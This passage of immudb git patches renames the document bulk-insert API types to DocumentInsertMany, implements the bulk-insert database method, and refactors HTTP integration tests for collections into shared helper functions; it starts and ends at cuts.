0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, - 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, - 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, - 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, - 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, - 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, - 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, - 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, - 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, - 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, - 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, + 0x61, 0x6e, 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, + 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, + 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, + 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, + 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, + 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, + 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, + 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, + 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, + 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -2078,8 +2078,8 @@ var file_documentschema_proto_goTypes = []interface{}{ (*CollectionDeleteResponse)(nil), // 24: immudb.documentschema.CollectionDeleteResponse (*CollectionUpdateRequest)(nil), // 25: immudb.documentschema.CollectionUpdateRequest (*CollectionUpdateResponse)(nil), // 26: immudb.documentschema.CollectionUpdateResponse - (*DocumentBulkInsertRequest)(nil), // 27: immudb.documentschema.DocumentBulkInsertRequest - (*DocumentBulkInsertResponse)(nil), // 28: immudb.documentschema.DocumentBulkInsertResponse + (*DocumentInsertManyRequest)(nil), // 27: immudb.documentschema.DocumentInsertManyRequest + (*DocumentInsertManyResponse)(nil), // 28: immudb.documentschema.DocumentInsertManyResponse nil, // 29: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry nil, // 30: immudb.documentschema.CollectionInformation.IndexKeysEntry nil, // 31: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry @@ -2107,7 +2107,7 @@ var file_documentschema_proto_depIdxs = []int32{ 18, // 15: immudb.documentschema.CollectionListResponse.collections:type_name -> immudb.documentschema.CollectionInformation 31, // 16: immudb.documentschema.CollectionUpdateRequest.addIndexes:type_name -> immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry 18, // 17: immudb.documentschema.CollectionUpdateResponse.collection:type_name -> immudb.documentschema.CollectionInformation - 32, // 18: immudb.documentschema.DocumentBulkInsertRequest.document:type_name -> google.protobuf.Struct + 32, // 18: immudb.documentschema.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct 15, // 19: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption 15, // 20: immudb.documentschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption 15, // 21: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry.value:type_name -> immudb.documentschema.IndexOption @@ -2121,7 +2121,7 @@ var file_documentschema_proto_depIdxs = []int32{ 21, // 29: immudb.documentschema.DocumentService.CollectionList:input_type -> immudb.documentschema.CollectionListRequest 23, // 30: immudb.documentschema.DocumentService.CollectionDelete:input_type -> immudb.documentschema.CollectionDeleteRequest 25, // 31: immudb.documentschema.DocumentService.CollectionUpdate:input_type -> immudb.documentschema.CollectionUpdateRequest - 27, // 32: immudb.documentschema.DocumentService.DocumentInsertMany:input_type -> immudb.documentschema.DocumentBulkInsertRequest + 27, // 32: immudb.documentschema.DocumentService.DocumentInsertMany:input_type -> immudb.documentschema.DocumentInsertManyRequest 3, // 33: immudb.documentschema.DocumentService.DocumentInsert:output_type -> immudb.documentschema.DocumentInsertResponse 5, // 34: immudb.documentschema.DocumentService.DocumentUpdate:output_type -> immudb.documentschema.DocumentUpdateResponse 9, // 35: immudb.documentschema.DocumentService.DocumentSearch:output_type -> immudb.documentschema.DocumentSearchResponse @@ -2132,7 +2132,7 @@ var file_documentschema_proto_depIdxs = []int32{ 22, // 40: immudb.documentschema.DocumentService.CollectionList:output_type -> immudb.documentschema.CollectionListResponse 24, // 41: immudb.documentschema.DocumentService.CollectionDelete:output_type -> immudb.documentschema.CollectionDeleteResponse 26, // 42: immudb.documentschema.DocumentService.CollectionUpdate:output_type -> immudb.documentschema.CollectionUpdateResponse - 28, // 43: immudb.documentschema.DocumentService.DocumentInsertMany:output_type -> immudb.documentschema.DocumentBulkInsertResponse + 28, // 43: immudb.documentschema.DocumentService.DocumentInsertMany:output_type -> immudb.documentschema.DocumentInsertManyResponse 33, // [33:44] is the sub-list for method output_type 22, // [22:33] is the sub-list for method input_type 22, // [22:22] is the sub-list for extension type_name @@ -2447,7 +2447,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentBulkInsertRequest); i { + switch v := v.(*DocumentInsertManyRequest); i { case 0: return &v.state case 1: @@ -2459,7 +2459,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentBulkInsertResponse); i { + switch v := v.(*DocumentInsertManyResponse); i { case 0: return &v.state case 1: diff --git a/pkg/api/documentschema/documentschema.pb.gw.go b/pkg/api/documentschema/documentschema.pb.gw.go index fbdea38cc7..4184aeeec1 100644 --- a/pkg/api/documentschema/documentschema.pb.gw.go +++ b/pkg/api/documentschema/documentschema.pb.gw.go @@ -378,7 +378,7 @@ func local_request_DocumentService_CollectionUpdate_0(ctx context.Context, marsh } func request_DocumentService_DocumentInsertMany_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentBulkInsertRequest + var protoReq DocumentInsertManyRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -395,7 +395,7 @@ func request_DocumentService_DocumentInsertMany_0(ctx context.Context, marshaler } func local_request_DocumentService_DocumentInsertMany_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentBulkInsertRequest + var protoReq DocumentInsertManyRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index 8c32d3264a..64a94085c8 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -190,12 +190,12 @@ message CollectionUpdateResponse { CollectionInformation collection = 1; } -message DocumentBulkInsertRequest { +message DocumentInsertManyRequest { string collection = 1; - repeated google.protobuf.Struct document = 2; + repeated google.protobuf.Struct documents = 2; } -message DocumentBulkInsertResponse { +message DocumentInsertManyResponse { repeated string documentIds = 1; uint64 transactionId = 2; } @@ -308,7 +308,7 @@ service DocumentService { }; } - rpc DocumentInsertMany(DocumentBulkInsertRequest) returns (DocumentBulkInsertResponse) { + rpc DocumentInsertMany(DocumentInsertManyRequest) returns (DocumentInsertManyResponse) { option (google.api.http) = { put: "/documents/insertMany" body: "*" diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index e069f90d98..ea26f43d85 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -241,7 +241,7 @@ "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentschemaDocumentBulkInsertResponse" + "$ref": "#/definitions/documentschemaDocumentInsertManyResponse" } }, "default": { @@ -257,7 +257,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/documentschemaDocumentBulkInsertRequest" + "$ref": "#/definitions/documentschemaDocumentInsertManyRequest" } } ], @@ -500,13 +500,13 @@ } } }, - "documentschemaDocumentBulkInsertRequest": { + "documentschemaDocumentInsertManyRequest": { "type": "object", "properties": { "collection": { "type": "string" }, - "document": { + "documents": { "type": "array", "items": { "type": "object" @@ -514,7 +514,7 @@ } } }, - "documentschemaDocumentBulkInsertResponse": { + "documentschemaDocumentInsertManyResponse": { "type": "object", "properties": { "documentIds": { diff --git a/pkg/api/documentschema/documentschema_grpc.pb.go b/pkg/api/documentschema/documentschema_grpc.pb.go index 2a36d48934..c326456b6d 100644 --- a/pkg/api/documentschema/documentschema_grpc.pb.go +++ b/pkg/api/documentschema/documentschema_grpc.pb.go @@ -28,7 +28,7 @@ type DocumentServiceClient interface { CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*CollectionDeleteResponse, error) CollectionUpdate(ctx context.Context, in *CollectionUpdateRequest, opts ...grpc.CallOption) (*CollectionUpdateResponse, error) - DocumentInsertMany(ctx context.Context, in *DocumentBulkInsertRequest, opts ...grpc.CallOption) (*DocumentBulkInsertResponse, error) + DocumentInsertMany(ctx context.Context, in *DocumentInsertManyRequest, opts ...grpc.CallOption) (*DocumentInsertManyResponse, error) } type documentServiceClient struct { @@ -129,8 +129,8 @@ func (c *documentServiceClient) CollectionUpdate(ctx context.Context, in *Collec return out, nil } -func (c *documentServiceClient) DocumentInsertMany(ctx context.Context, in *DocumentBulkInsertRequest, opts ...grpc.CallOption) (*DocumentBulkInsertResponse, error) { - out := new(DocumentBulkInsertResponse) +func (c *documentServiceClient) DocumentInsertMany(ctx context.Context, in *DocumentInsertManyRequest, opts ...grpc.CallOption) (*DocumentInsertManyResponse, error) { + out := new(DocumentInsertManyResponse) err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/DocumentInsertMany", in, out, opts...) if err != nil { return nil, err @@ -152,7 +152,7 @@ type DocumentServiceServer interface { CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) CollectionDelete(context.Context, *CollectionDeleteRequest) (*CollectionDeleteResponse, error) CollectionUpdate(context.Context, *CollectionUpdateRequest) (*CollectionUpdateResponse, error) - DocumentInsertMany(context.Context, *DocumentBulkInsertRequest) (*DocumentBulkInsertResponse, error) + DocumentInsertMany(context.Context, *DocumentInsertManyRequest) (*DocumentInsertManyResponse, error) } // UnimplementedDocumentServiceServer should be embedded to have forward compatible implementations. @@ -189,7 +189,7 @@ func (UnimplementedDocumentServiceServer) CollectionDelete(context.Context, *Col func (UnimplementedDocumentServiceServer) CollectionUpdate(context.Context, *CollectionUpdateRequest) (*CollectionUpdateResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method CollectionUpdate not implemented") } -func (UnimplementedDocumentServiceServer) DocumentInsertMany(context.Context, *DocumentBulkInsertRequest) (*DocumentBulkInsertResponse, error) { +func (UnimplementedDocumentServiceServer) DocumentInsertMany(context.Context, *DocumentInsertManyRequest) (*DocumentInsertManyResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DocumentInsertMany not implemented") } @@ -385,7 +385,7 @@ func _DocumentService_CollectionUpdate_Handler(srv interface{}, ctx context.Cont } func _DocumentService_DocumentInsertMany_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(DocumentBulkInsertRequest) + in := new(DocumentInsertManyRequest) if err := dec(in); err != nil { return nil, err } @@ -397,7 +397,7 @@ func _DocumentService_DocumentInsertMany_Handler(srv interface{}, ctx context.Co FullMethod: "/immudb.documentschema.DocumentService/DocumentInsertMany", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).DocumentInsertMany(ctx, req.(*DocumentBulkInsertRequest)) + return srv.(DocumentServiceServer).DocumentInsertMany(ctx, req.(*DocumentInsertManyRequest)) } return interceptor(ctx, in, info, handler) } diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 17e8ade4de..92f854a110 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -56,8 +56,8 @@ type DocumentDatabase interface { UpdateDocument(ctx context.Context, req *schemav2.DocumentUpdateRequest) (*schemav2.DocumentUpdateResponse, error) // DocumentProof returns the proofs for a document DocumentProof(ctx context.Context, req *schemav2.DocumentProofRequest) (*schemav2.DocumentProofResponse, error) - // BulkInsertDocuments creates a new document - BulkInsertDocuments(ctx context.Context, req *schemav2.DocumentBulkInsertRequest) (*schemav2.DocumentBulkInsertResponse, error) + // DocumentInsertMany creates a new document + DocumentInsertMany(ctx context.Context, req *schemav2.DocumentInsertManyRequest) (*schemav2.DocumentInsertManyResponse, error) } // CreateCollection creates a new collection @@ -329,15 +329,20 @@ func (d *db) DocumentProof(ctx context.Context, req *schemav2.DocumentProofReque }, nil } -// BulkInsertDocuments inserts multiple documents -func (d *db) BulkInsertDocuments(ctx context.Context, req *schemav2.DocumentBulkInsertRequest) (*schemav2.DocumentBulkInsertResponse, error) { - // docID, txID, err := d.documentEngine.InsertDocument(ctx, req.Collection, req.Document) - // if err != nil { - // return nil, err - // } +// DocumentInsertMany inserts multiple documents +func (d *db) DocumentInsertMany(ctx context.Context, req *schemav2.DocumentInsertManyRequest) (*schemav2.DocumentInsertManyResponse, error) { + docIDs, txID, err := d.documentEngine.BulkInsertDocuments(ctx, req.Collection, req.Documents) + if err != nil { + return nil, err + } - return &schemav2.DocumentBulkInsertResponse{ - // DocumentId: docID.EncodeToHexString(), - // TransactionId: txID, + docIDsStr := make([]string, 0, len(docIDs)) + for _, docID := range docIDs { + docIDsStr = append(docIDsStr, docID.EncodeToHexString()) + } + + return &schemav2.DocumentInsertManyResponse{ + DocumentIds: docIDsStr, + TransactionId: txID, }, nil } diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 19ccf94c13..bff5b0a391 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -289,6 +289,6 @@ func (d *closedDB) DocumentProof(ctx context.Context, req *schemav2.DocumentProo return nil, store.ErrAlreadyClosed } -func (d *closedDB) BulkInsertDocuments(ctx context.Context, req *schemav2.DocumentBulkInsertRequest) (*schemav2.DocumentBulkInsertResponse, error) { +func (d *closedDB) DocumentInsertMany(ctx context.Context, req *schemav2.DocumentInsertManyRequest) (*schemav2.DocumentInsertManyResponse, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 4cc0a076e1..7608a6110c 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -166,12 +166,12 @@ func (s *ImmuServer) CollectionUpdate(ctx context.Context, req *documentschema.C return resp, nil } -func (s *ImmuServer) DocumentInsertMany(ctx context.Context, req *documentschema.DocumentBulkInsertRequest) (*documentschema.DocumentBulkInsertResponse, error) { +func (s *ImmuServer) DocumentInsertMany(ctx context.Context, req *documentschema.DocumentInsertManyRequest) (*documentschema.DocumentInsertManyResponse, error) { db, err := s.getDBFromCtx(ctx, "DocumentInsertMany") if err != nil { return nil, err } - resp, err := db.BulkInsertDocuments(ctx, req) + resp, err := db.DocumentInsertMany(ctx, req) if err != nil { return nil, err } From f9c9aad343964c87a57c0a857fdd86bb4bab8ff4 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Tue, 25 Apr 2023 15:35:10 -0300 Subject: [PATCH 0447/1062] test(delete-collection): add tests to delete collections extract common actions into separate functions Signed-off-by: Marco Sanchotene --- .../actions/create_collections.go | 152 ++++++++++++++++++ .../documents_tests/actions/login.go | 47 ++++++ .../create_collections_test.go | 148 ++--------------- .../delete_collections_test.go | 147 +++++++++++++++++ 4 files changed, 360 insertions(+), 134 deletions(-) create mode 100644 test/document_storage_tests/documents_tests/actions/create_collections.go create mode 100644 test/document_storage_tests/documents_tests/actions/login.go create mode 100644 test/document_storage_tests/documents_tests/delete_collections_test.go diff --git a/test/document_storage_tests/documents_tests/actions/create_collections.go b/test/document_storage_tests/documents_tests/actions/create_collections.go new file mode 100644 index 0000000000..83f5d18ba8 --- /dev/null +++ b/test/document_storage_tests/documents_tests/actions/create_collections.go @@ -0,0 +1,152 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package actions + +import ( + "encoding/json" + "net/http" + + "github.com/gavv/httpexpect/v2" +) + +func CreateCollectionWithName(expect *httpexpect.Expect, token string, name string) *httpexpect.Object { + payloadModel := `{ + "name": "string" + }` + var payload map[string]interface{} + json.Unmarshal([]byte(payloadModel), &payload) + payload["name"] = name + + expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", token). + WithJSON(payload). + Expect(). + Status(http.StatusOK).JSON().Object().NotEmpty() + + collection := expect.GET("/collections/get"). + WithHeader("grpc-metadata-sessionid", token). + WithQuery("name", payload["name"]). + Expect(). + Status(http.StatusOK). + JSON().Object() + + return collection +} + +func CreateCollectionWithNameAndOneIndexKey(expect *httpexpect.Expect, token string, name string) *httpexpect.Object { + payloadModel := `{ + "name": "string", + "indexKeys": { + "customers": { + "type": "DOUBLE" + } + } + }` + var payload map[string]interface{} + json.Unmarshal([]byte(payloadModel), &payload) + payload["name"] = name + payload["indexKeys"] = map[string]interface{}{ + "birth_date": map[string]interface{}{ + "type": "STRING", + }, + } + + expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", token). + WithJSON(payload). + Expect(). + Status(http.StatusOK).JSON().Object().NotEmpty() + + collection := expect.GET("/collections/get"). + WithHeader("grpc-metadata-sessionid", token). + WithQuery("name", payload["name"]). + Expect(). + Status(http.StatusOK). + JSON().Object() + + return collection +} + +func CreateCollectionWithNameAndMultipleIndexKeys(expect *httpexpect.Expect, token string, name string) *httpexpect.Object { + payloadModel := `{ + "name": "string", + "indexKeys": { + "employees": { + "type": "INTEGER" + } + } + }` + var payload map[string]interface{} + json.Unmarshal([]byte(payloadModel), &payload) + payload["name"] = name + payload["indexKeys"] = map[string]interface{}{ + "birth_date": map[string]interface{}{ + "type": "STRING", + }, + "first_name": map[string]interface{}{ + "type": "STRING", + }, + "last_name": map[string]interface{}{ + "type": "STRING", + }, + "gender": map[string]interface{}{ + "type": "STRING", + }, + "hire_date": map[string]interface{}{ + "type": "STRING", + }, + } + + expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", token). + WithJSON(payload). + Expect(). + Status(http.StatusOK).JSON().Object().NotEmpty() + + collection := expect.GET("/collections/get"). + WithHeader("grpc-metadata-sessionid", token). + WithQuery("name", payload["name"]). + Expect(). + Status(http.StatusOK). + JSON().Object() + + return collection +} + +func CreateCollectionWithIntegerName(expect *httpexpect.Expect, token string, name string) *httpexpect.Object { + payloadModel := `{ + "name": 123 + }` + var payload map[string]interface{} + json.Unmarshal([]byte(payloadModel), &payload) + payload["name"] = name + + expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", token). + WithJSON(payload). + Expect(). + Status(http.StatusOK).JSON().Object().NotEmpty() + + collection := expect.GET("/collections/get"). + WithHeader("grpc-metadata-sessionid", token). + WithQuery("name", payload["name"]). + Expect(). + Status(http.StatusOK). + JSON().Object() + + return collection +} diff --git a/test/document_storage_tests/documents_tests/actions/login.go b/test/document_storage_tests/documents_tests/actions/login.go new file mode 100644 index 0000000000..5fb8de75b1 --- /dev/null +++ b/test/document_storage_tests/documents_tests/actions/login.go @@ -0,0 +1,47 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package actions + +import ( + "net/http" + "os" + "testing" + + "github.com/gavv/httpexpect/v2" +) + +func OpenSession(t *testing.T) (*httpexpect.Expect, string) { + baseURL, exists := os.LookupEnv("OBJECTS_TEST_BASEURL") + + if !exists { + baseURL = "http://localhost:8091/api/v2" + } + + user := map[string]interface{}{ + "username": "immudb", + "password": "immudb", + "database": "defaultdb", + } + + expect := httpexpect.Default(t, baseURL) + obj := expect.POST("/authorization/session/open"). + WithJSON(user). + Expect(). + Status(http.StatusOK).JSON().Object() + + return expect, obj.Value("token").Raw().(string) +} diff --git a/test/document_storage_tests/documents_tests/create_collections_test.go b/test/document_storage_tests/documents_tests/create_collections_test.go index ed3ddd2089..08364e090a 100644 --- a/test/document_storage_tests/documents_tests/create_collections_test.go +++ b/test/document_storage_tests/documents_tests/create_collections_test.go @@ -19,9 +19,9 @@ package main import ( "encoding/json" "net/http" - "os" "testing" + "github.com/codenotary/immudb/test/documents_storage_tests/documents_tests/actions" "github.com/gavv/httpexpect/v2" "github.com/google/uuid" "github.com/stretchr/testify/assert" @@ -30,140 +30,38 @@ import ( type CreateCollectionsTestSuite struct { suite.Suite - expect *httpexpect.Expect - token string + expect *httpexpect.Expect + token string + collection_name string } func (s *CreateCollectionsTestSuite) SetupTest() { - baseURL, exists := os.LookupEnv("DOCUMENTS_TEST_BASEURL") - - if !exists { - baseURL = "http://localhost:8091/api/v2" - } - - user := map[string]interface{}{ - "username": "immudb", - "password": "immudb", - "database": "defaultdb", - } - - s.expect = httpexpect.Default(s.T(), baseURL) - obj := s.expect.POST("/authorization/session/open"). - WithJSON(user). - Expect(). - Status(http.StatusOK).JSON().Object() - s.token = obj.Value("token").Raw().(string) - + s.expect, s.token = actions.OpenSession(s.T()) + s.collection_name = uuid.New().String() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithName() { - payloadModel := `{ - "name": "string" - }` - var payload map[string]interface{} - json.Unmarshal([]byte(payloadModel), &payload) - payload["name"] = uuid.New().String() - - s.expect.PUT("/collections/create"). - WithHeader("grpc-metadata-sessionid", s.token). - WithJSON(payload). - Expect(). - Status(http.StatusOK).JSON().Object().NotEmpty() - - collection := s.expect.GET("/collections/get"). - WithHeader("grpc-metadata-sessionid", s.token). - WithQuery("name", payload["name"]). - Expect(). - Status(http.StatusOK). - JSON().Object() + collection := actions.CreateCollectionWithName(s.expect, s.token, s.collection_name) collection.Keys().ContainsOnly("collection") - collection.Value("collection").Object().Value("name").IsEqual(payload["name"]) + collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneIndexKey() { - payloadModel := `{ - "name": "string", - "indexKeys": { - "customers": { - "type": "DOUBLE" - } - } - }` - var payload map[string]interface{} - json.Unmarshal([]byte(payloadModel), &payload) - payload["name"] = uuid.New().String() - payload["indexKeys"] = map[string]interface{}{ - "birth_date": map[string]interface{}{ - "type": "STRING", - }, - } - - s.expect.PUT("/collections/create"). - WithHeader("grpc-metadata-sessionid", s.token). - WithJSON(payload). - Expect(). - Status(http.StatusOK).JSON().Object().NotEmpty() - - collection := s.expect.GET("/collections/get"). - WithHeader("grpc-metadata-sessionid", s.token). - WithQuery("name", payload["name"]). - Expect(). - Status(http.StatusOK). - JSON().Object() + collection := actions.CreateCollectionWithNameAndOneIndexKey(s.expect, s.token, s.collection_name) collection.Keys().ContainsOnly("collection") - collection.Value("collection").Object().Value("name").IsEqual(payload["name"]) + collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) collection.Value("collection").Object().Value("indexKeys").Object().Keys().ContainsOnly("_id", "birth_date") collection.Value("collection").Object().Value("indexKeys").Object().Value("_id").Object().Value("type").IsEqual("STRING") collection.Value("collection").Object().Value("indexKeys").Object().Value("birth_date").Object().Value("type").IsEqual("STRING") } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndMultipleIndexKeys() { - payloadModel := `{ - "name": "string", - "indexKeys": { - "employees": { - "type": "INTEGER" - } - } - }` - var payload map[string]interface{} - json.Unmarshal([]byte(payloadModel), &payload) - payload["name"] = uuid.New().String() - payload["indexKeys"] = map[string]interface{}{ - "birth_date": map[string]interface{}{ - "type": "STRING", - }, - "first_name": map[string]interface{}{ - "type": "STRING", - }, - "last_name": map[string]interface{}{ - "type": "STRING", - }, - "gender": map[string]interface{}{ - "type": "STRING", - }, - "hire_date": map[string]interface{}{ - "type": "STRING", - }, - } - - s.expect.PUT("/collections/create"). - WithHeader("grpc-metadata-sessionid", s.token). - WithJSON(payload). - Expect(). - Status(http.StatusOK).JSON().Object().NotEmpty() - - collection := 